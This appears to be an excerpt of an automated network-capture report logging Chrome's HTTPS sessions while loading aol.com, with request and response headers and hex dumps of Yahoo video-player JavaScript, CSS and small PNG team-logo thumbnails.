68 28 22 63 6c 61 73 Data Ascii: e.tivo\|\|e.amazon\|\|e.samsung\|\|e.sony\|\|e.playstation\|\|e.lg\|\|e.fios\|\|e.philips\|\|e.toshiba,e.desktop=!e.mobile&&!e.tv,e.phantomJS=s.window&&s.window.R,e.tv){var c=void 0!==c?c:void 0!==i.g&&i.g.tv?i.g.tv:{};if(e.class=e.ua,e.vizio)e.os="vizio",e.class=h("clas
2024-05-23 22:34:47 UTC	1300	IN	Data Raw: 3d 22 6f 72 73 61 79 22 3b 65 2e 63 6c 61 73 73 3d 64 7d 65 6c 73 65 20 65 2e 72 6f 6b 75 7c 7c 65 2e 63 68 72 6f 6d 65 63 61 73 74 7c 7c 65 2e 74 6f 73 68 69 62 61 7c 7c 65 2e 70 68 69 6c 69 70 73 7c 7c 65 2e 61 70 70 6c 65 74 76 7c 7c 65 2e 78 62 6f 78 7c 7c 28 65 2e 73 6f 6e 79 3f 28 65 2e 6f 73 3d 22 73 6f 6e 79 22 2c 2f 62 64 70 2f 2e 74 65 73 74 28 72 29 3f 65 2e 63 6c 61 73 73 3d 22 42 44 50 22 3a 2f 62 72 61 76 69 61 7c 73 6f 6e 79 2d 6b 6a 2f 2e 74 65 73 74 28 72 29 3f 65 2e 63 6c 61 73 73 3d 22 42 52 41 56 49 41 22 3a 65 2e 63 6c 61 73 73 3d 22 64 65 66 61 75 6c 74 22 29 3a 65 2e 70 6c 61 79 73 74 61 74 69 6f 6e 3f 28 65 2e 6f 73 3d 22 70 6c 61 79 73 74 61 74 69 6f 6e 22 2c 2f 34 70 72 6f 2f 2e 74 65 73 74 28 72 29 3f 65 2e 63 6c 61 73 73 3d 22 Data Ascii: ="orsay";e.class=d}else e.roku\|\|e.chromecast\|\|e.toshiba\|\|e.philips\|\|e.appletv\|\|e.xbox\|\|(e.sony?(e.os="sony",/bdp/.test(r)?e.class="BDP":/bravia\|sony-kj/.test(r)?e.class="BRAVIA":e.class="default"):e.playstation?(e.os="playstation",/4pro/.test(r)?e.class="
2024-05-23 22:34:47 UTC	1300	IN	Data Raw: 65 2e 49 4e 46 4f 5f 43 4f 44 45 53 3d 65 2e 45 5f 42 52 49 47 48 54 43 4f 56 45 3d 65 2e 45 5f 53 41 50 49 5f 4e 43 50 5f 4a 41 52 56 49 53 3d 65 2e 45 5f 53 41 50 49 5f 53 54 52 45 41 4d 3d 65 2e 45 5f 53 41 50 49 5f 41 42 53 54 52 41 43 54 3d 65 2e 45 5f 50 4c 41 59 45 52 5f 44 52 4d 3d 65 2e 45 5f 50 4c 41 59 45 52 3d 65 2e 45 5f 59 56 41 50 3d 65 2e 45 5f 57 41 52 4e 49 4e 47 3d 65 2e 45 5f 49 4e 46 4f 3d 76 6f 69 64 20 30 2c 65 2e 45 5f 49 4e 46 4f 3d 22 31 30 30 22 2c 65 2e 45 5f 57 41 52 4e 49 4e 47 3d 22 32 30 30 22 2c 65 2e 45 5f 59 56 41 50 3d 22 33 30 30 22 2c 65 2e 45 5f 50 4c 41 59 45 52 3d 22 34 30 30 22 2c 65 2e 45 5f 50 4c 41 59 45 52 5f 44 52 4d 3d 22 34 31 30 22 2c 65 2e 45 5f 53 41 50 49 5f 41 42 53 54 52 41 43 54 3d 22 35 30 30 22 2c Data Ascii: e.INFO_CODES=e.E_BRIGHTCOVE=e.E_SAPI_NCP_JARVIS=e.E_SAPI_STREAM=e.E_SAPI_ABSTRACT=e.E_PLAYER_DRM=e.E_PLAYER=e.E_YVAP=e.E_WARNING=e.E_INFO=void 0,e.E_INFO="100",e.E_WARNING="200",e.E_YVAP="300",e.E_PLAYER="400",e.E_PLAYER_DRM="410",e.E_SAPI_ABSTRACT="500",
2024-05-23 22:34:47 UTC	1300	IN	Data Raw: 45 54 45 3a 22 37 33 30 22 2c 45 5f 43 4d 53 5f 58 48 52 5f 52 45 51 5f 49 4e 43 4f 4d 50 4c 45 54 45 5f 54 49 4d 45 4f 55 54 3a 22 37 33 31 22 2c 45 5f 43 4d 53 5f 58 48 52 5f 52 45 51 5f 34 30 38 3a 22 37 33 32 22 2c 45 5f 43 4d 53 5f 58 48 52 5f 52 45 51 5f 45 52 52 4f 52 3a 22 37 34 30 22 2c 45 5f 43 4d 53 5f 58 48 52 5f 52 45 51 5f 54 49 4d 45 4f 55 54 3a 22 37 35 30 22 2c 45 5f 43 4d 53 5f 58 48 52 5f 52 45 51 5f 43 4f 52 53 5f 45 52 52 4f 52 3a 22 37 36 30 22 2c 45 5f 49 4e 54 45 52 4e 41 4c 5f 56 49 4f 4c 41 54 49 4f 4e 3a 22 36 30 30 22 2c 45 5f 53 45 54 55 50 5f 45 52 52 4f 52 3a 22 34 30 34 22 2c 45 5f 49 4e 56 41 4c 49 44 5f 43 4f 4e 46 49 47 3a 22 36 30 31 22 2c 45 5f 52 45 43 4f 56 45 52 59 5f 46 41 49 4c 55 52 45 3a 22 36 30 32 22 2c 45 5f Data Ascii: ETE:"730",E_CMS_XHR_REQ_INCOMPLETE_TIMEOUT:"731",E_CMS_XHR_REQ_408:"732",E_CMS_XHR_REQ_ERROR:"740",E_CMS_XHR_REQ_TIMEOUT:"750",E_CMS_XHR_REQ_CORS_ERROR:"760",E_INTERNAL_VIOLATION:"600",E_SETUP_ERROR:"404",E_INVALID_CONFIG:"601",E_RECOVERY_FAILURE:"602",E_
2024-05-23 22:34:47 UTC	1300	IN	Data Raw: 28 31 31 30 36 29 3b 65 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3d 6f 2e 64 65 66 61 75 6c 74 3b 76 61 72 20 61 3d 69 28 37 33 30 35 29 3b 65 2e 50 72 69 76 61 63 79 3d 61 2e 64 65 66 61 75 6c 74 3b 76 61 72 20 6c 3d 69 28 31 35 34 33 29 3b 65 2e 54 79 70 65 43 68 65 63 6b 65 72 3d 6c 3b 76 61 72 20 75 3d 69 28 36 31 32 30 29 3b 65 2e 55 74 69 6c 73 3d 75 2e 64 65 66 61 75 6c 74 7d 2c 32 38 35 38 3a 28 74 2c 65 2c 69 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 65 2e 58 48 52 5f 54 49 4d 45 4f 55 54 3d 65 2e 58 48 52 5f 43 4f 52 53 3d 65 2e 58 48 52 5f 45 52 52 4f 52 3d 76 6f 69 64 20 30 3b 76 61 72 20 73 Data Ascii: (1106);e.LocalStorage=o.default;var a=i(7305);e.Privacy=a.default;var l=i(1543);e.TypeChecker=l;var u=i(6120);e.Utils=u.default},2858:(t,e,i)=>{"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.XHR_TIMEOUT=e.XHR_CORS=e.XHR_ERROR=void 0;var s
2024-05-23 22:34:47 UTC	1300	IN	Data Raw: 72 20 45 3d 6e 75 6c 6c 3b 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 67 2e 67 65 74 52 65 73 70 6f 6e 73 65 48 65 61 64 65 72 29 26 26 28 45 3d 67 2e 67 65 74 52 65 73 70 6f 6e 73 65 48 65 61 64 65 72 28 22 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 22 29 29 3b 76 61 72 20 5f 3d 61 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 2b 22 2f 2f 22 2b 61 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 3b 69 66 28 45 26 26 45 21 3d 3d 5f 29 7b 76 61 72 20 77 3d 65 2e 58 48 52 5f 43 4f 52 53 2b 22 3a 20 6f 72 69 67 69 6e 48 65 61 64 65 72 20 3d 22 2b 28 45 7c 7c 22 22 29 2b 22 3a 20 6d 79 4f 72 69 67 69 6e 20 3d 22 2b 5f 3b 76 2e 63 61 6c 6c 28 6c 2c 6e 65 77 20 45 72 72 6f 72 28 77 29 2c 22 64 65 66 61 75 6c 74 22 2c 22 63 6f Data Ascii: r E=null;r.isFunction(g.getResponseHeader)&&(E=g.getResponseHeader("Access-Control-Allow-Origin"));var _=a.location.protocol+"//"+a.location.host;if(E&&E!==_){var w=e.XHR_CORS+": originHeader ="+(E\|\|"")+": myOrigin ="+_;v.call(l,new Error(w),"default","co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	49859	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:47 UTC	934	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F9OD88Iedd3JWl5h_W4111g--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190314%2F500x500%2Frangers_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=09bdc4657cedb149a942b53e9557602fa6a610d4 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:47 UTC	1140	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 1895565 Cache-Control: public, max-age=2592000 Cache-Tag: 504753941145864355255013570528582779067,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000063-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 28 Content-Type: image/png Date: Thu, 23 May 2024 22:34:47 GMT Edge-Cache-Tag: 504753941145864355255013570528582779067,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "46130e70ffcc1724ef199cc50d1be90e" Expiration: expiry-date="Sun, 28 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Mon, 29 Jan 2024 00:30:30 GMT Server: ECAcc (lhd/35A0) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1425,owidth=50,oheight=50,obytes=1486,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000092-IAD X-Timer: S1711411322.465966,VS0,VE2 Content-Length: 1425 Connection: close
2024-05-23 22:34:47 UTC	1425	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 df 50 4c 54 45 47 70 4c 21 3b 74 ff ff ff e4 a0 a2 ff ff ff e6 a7 a9 ff ff ff 21 3b 74 ff ff ff 21 3a 74 21 3b 74 3f 4f 67 21 3b 74 41 4e 66 ff ff ff ff ff ff ff ff ff ff ff ff 21 3b 74 21 3b 74 21 3b 74 21 3b 73 25 3f 77 21 3a 74 21 3b 74 21 3b 74 21 3b 74 21 3b 74 21 3b 74 3f 4f 67 21 3b 74 ff ff ff 41 4e 66 41 4e 66 f1 cf d0 ef c6 c7 ff ff ff ff ff ff 41 4e 66 40 4e 66 21 3b 74 26 3f 77 41 4e 66 ff ff ff ff ff ff 21 3a 74 ff ff ff 41 4e 66 40 4e 66 e7 a9 ab dd 86 88 26 3f 77 22 3b 74 3e 54 86 ff ff ff ff ff ff 21 3b 74 21 3b 74 ff ff ff ef c8 c9 f3 d6 d7 9f a9 c2 f5 dc dc fc f5 f5 c7 bc c9 f3 d5 d6 41 4e 66 ff ff ff 41 4e 66 fe fc fc ff ff ff ff Data Ascii: PNGIHDR22)xPLTEGpL!;t!;t!:t!;t?Og!;tANf!;t!;t!;t!;s%?w!:t!;t!;t!;t!;t!;t?Og!;tANfANfANf@Nf!;t&?wANf!:tANf@Nf&?w";t>T!;t!;tANfANf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	49869	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:48 UTC	551	OUT	GET /rx/ev/builds/1.6.29/evplayer.css HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:49 UTC	789	IN	HTTP/1.1 200 OK x-amz-id-2: B9PcYWmbUqauVlJY9kJ3gIYzebzvEhYalYqTZ8mjhbVyi8HoBlYzGY15Qf16CVj2fD9vX+RSZgI= x-amz-request-id: N3279S3P15AYGNST Date: Thu, 23 May 2024 22:34:50 GMT Last-Modified: Tue, 21 May 2024 22:19:08 GMT ETag: "f02dcd30a64864b6007a0329660cb36f" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=536112000 x-amz-version-id: 1BURvEd1R64DAXd4W2ub23BmW0f40aWG Accept-Ranges: bytes Content-Type: text/css Server: ATS Content-Length: 4547 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 2 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:34:49 UTC	805	IN	Data Raw: 2e 65 76 70 2d 6d 61 69 6e 2c 2e 65 76 70 2d 70 6c 61 79 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 7d 2e 65 76 70 2d 6d 61 69 6e 20 2e 65 76 70 2d 64 6f 63 6b 65 64 2d 6d 65 74 61 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6f 70 61 63 69 74 79 3a 30 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 68 65 69 67 68 74 3a 36 38 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 31 32 31 37 31 37 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 36 70 78 3b 6c 65 Data Ascii: .evp-main,.evp-player{position:relative;width:100%;height:100%;outline:none}.evp-main .evp-docked-meta{position:relative;opacity:0;visibility:hidden;display:none;height:68px;font-size:16px;color:#121717;background:#fff;line-height:20px;padding-top:16px;le
2024-05-23 22:34:49 UTC	1300	IN	Data Raw: 38 5a 6d 6c 73 64 47 56 79 49 48 67 39 49 69 30 31 4d 43 55 69 49 48 6b 39 49 69 30 31 4d 43 55 69 49 48 64 70 5a 48 52 6f 50 53 49 79 4d 44 41 6c 49 69 42 6f 5a 57 6c 6e 61 48 51 39 49 6a 49 77 4d 43 55 69 49 47 5a 70 62 48 52 6c 63 6c 56 75 61 58 52 7a 50 53 4a 76 59 6d 70 6c 59 33 52 43 62 33 56 75 5a 47 6c 75 5a 30 4a 76 65 43 49 67 61 57 51 39 49 6d 45 69 50 6a 78 6d 5a 55 39 6d 5a 6e 4e 6c 64 43 42 6b 65 44 30 69 4d 53 49 67 5a 48 6b 39 49 6a 45 69 49 47 6c 75 50 53 4a 54 62 33 56 79 59 32 56 42 62 48 42 6f 59 53 49 67 63 6d 56 7a 64 57 78 30 50 53 4a 7a 61 47 46 6b 62 33 64 50 5a 6d 5a 7a 5a 58 52 50 64 58 52 6c 63 6a 45 69 4c 7a 34 38 5a 6d 56 48 59 58 56 7a 63 32 6c 68 62 6b 4a 73 64 58 49 67 63 33 52 6b 52 47 56 32 61 57 46 30 61 57 39 75 50 53 Data Ascii: 8ZmlsdGVyIHg9Ii01MCUiIHk9Ii01MCUiIHdpZHRoPSIyMDAlIiBoZWlnaHQ9IjIwMCUiIGZpbHRlclVuaXRzPSJvYmplY3RCb3VuZGluZ0JveCIgaWQ9ImEiPjxmZU9mZnNldCBkeD0iMSIgZHk9IjEiIGluPSJTb3VyY2VBbHBoYSIgcmVzdWx0PSJzaGFkb3dPZmZzZXRPdXRlcjEiLz48ZmVHYXVzc2lhbkJsdXIgc3RkRGV2aWF0aW9uPS
2024-05-23 22:34:49 UTC	1300	IN	Data Raw: 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 35 30 25 20 35 30 25 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 6f 70 61 63 69 74 79 20 2e 33 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 20 2e 31 73 7d 2e 65 76 70 2d 6d 61 69 6e 2e 65 76 70 2d 64 6f 63 6b 65 64 20 2e 65 76 70 2d 64 6f 63 6b 65 64 2d 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 33 30 70 78 3b 68 65 69 67 68 74 3a 33 30 70 78 3b 72 69 67 68 74 3a 30 3b 74 6f 70 3a 30 3b 70 61 64 64 69 6e 67 3a 31 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 6f 72 69 67 69 6e 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 Data Ascii: nd-position:50% 50%;border-radius:0;cursor:pointer;opacity:1;transition:opacity .3s ease-in-out .1s}.evp-main.evp-docked .evp-docked-close-button{display:block;width:30px;height:30px;right:0;top:0;padding:11px;background-origin:content-box;box-sizing:cont
2024-05-23 22:34:49 UTC	1142	IN	Data Raw: 32 2c 31 36 2c 33 30 2c 30 2e 37 35 29 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 59 61 68 6f 6f 20 53 61 6e 73 22 2c 59 61 68 6f 6f 53 61 6e 73 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 2e 65 76 70 2d 6d 61 69 6e 20 2e 65 76 70 2d 65 72 72 6f 72 2d 73 63 72 65 65 6e 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 65 76 70 2d 65 72 72 6f 72 2d 6d 73 67 2d 63 6f 6e 74 61 69 6e 65 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 3b 63 6f 6c 6f 72 3a 72 67 Data Ascii: 2,16,30,0.75);font-family:"Yahoo Sans",YahooSans,"Helvetica Neue",Helvetica,Arial,sans-serif}.evp-main .evp-error-screen-container .evp-error-msg-container{display:flex;flex-direction:column;justify-content:center;align-items:center;line-height:1;color:rg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	49862	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:48 UTC	935	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FPMQsnNgc41c_GbNQ1JO_LQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190403%2F500x500%2Fphillies_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=c02d09651346a22345d45414bf6990886bbdd7db HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:48 UTC	1132	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500366 Cache-Control: public, max-age=2592000 Cache-Tag: 483227784027464218077345796273375890480,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21978-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 2 Content-Type: image/png Date: Thu, 23 May 2024 22:34:48 GMT Edge-Cache-Tag: 483227784027464218077345796273375890480,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "01d1298c6217157fce1f245c4e9f55ec" Expiration: expiry-date="Tue, 10 Sep 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 13 Mar 2024 18:59:12 GMT Server: ECAcc (lhd/35F2) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1561,owidth=50,oheight=50,obytes=1403,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000139-IAD X-Timer: S1711411322.455344,VS0,VE1 Content-Length: 1561 Connection: close
2024-05-23 22:34:48 UTC	1561	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 b5 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff e2 6a 7f ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: PNGIHDR22)xPLTEGpLj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	49863	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:48 UTC	696	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FLaVK5.znBhNMAKDUJz1a2g--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20181030%2F500x500%2Fceltics_wbg.png&client=76f99bdb8f78cd44cc0b&signature=9ca02475456bf5ddb0d57685bd4170c582005b73 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:48 UTC	1133	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2127266 Cache-Control: public, max-age=2592000 Cache-Tag: 496266717906369093199617723782445329917,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000111-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 42 Content-Type: image/png Date: Thu, 23 May 2024 22:34:48 GMT Edge-Cache-Tag: 496266717906369093199617723782445329917,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "6d934474b3e355893e0271151804839b" Expiration: expiry-date="Sat, 31 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sun, 03 Mar 2024 04:16:26 GMT Server: ECAcc (lhd/370D) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=2581,owidth=50,oheight=50,obytes=4621,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-lga21938-LGA X-Timer: S1711179622.193179,VS0,VE1 Content-Length: 2581 Connection: close
2024-05-23 22:34:48 UTC	2581	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 f4 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff f5 f6 f6 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fc fc fc ec ee ee ff ff ff ed ee ef ff ff ff ff ff ff f8 f9 f9 ff ff ff f2 f3 f3 ff ff ff ff ff ff fe ff ff fe fe fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 82 48 05 18 21 06 19 21 a7 37 32 e7 e8 e9 c4 c7 c8 a7 ad b0 00 7f 47 b9 bd be cf d2 d3 02 69 3f 9e a4 a7 97 9f a1 ad b2 b4 00 7b 45 01 72 42 e1 e4 e5 cb cf d0 07 4c 36 23 4f 46 d3 d5 d6 02 59 39 d9 ec e3 86 Data Ascii: PNGIHDR22)xPLTEGpLH!!72Gi?{ErBL6#OFY9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	49864	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:48 UTC	930	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FkDiXli.D_WDnpsc8QwxvBg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190409%2F500x500%2Fgiants_s.png&client=76f99bdb8f78cd44cc0b&signature=a5db9adb92297dcb97c8f99b467d5c3f3f79992b HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
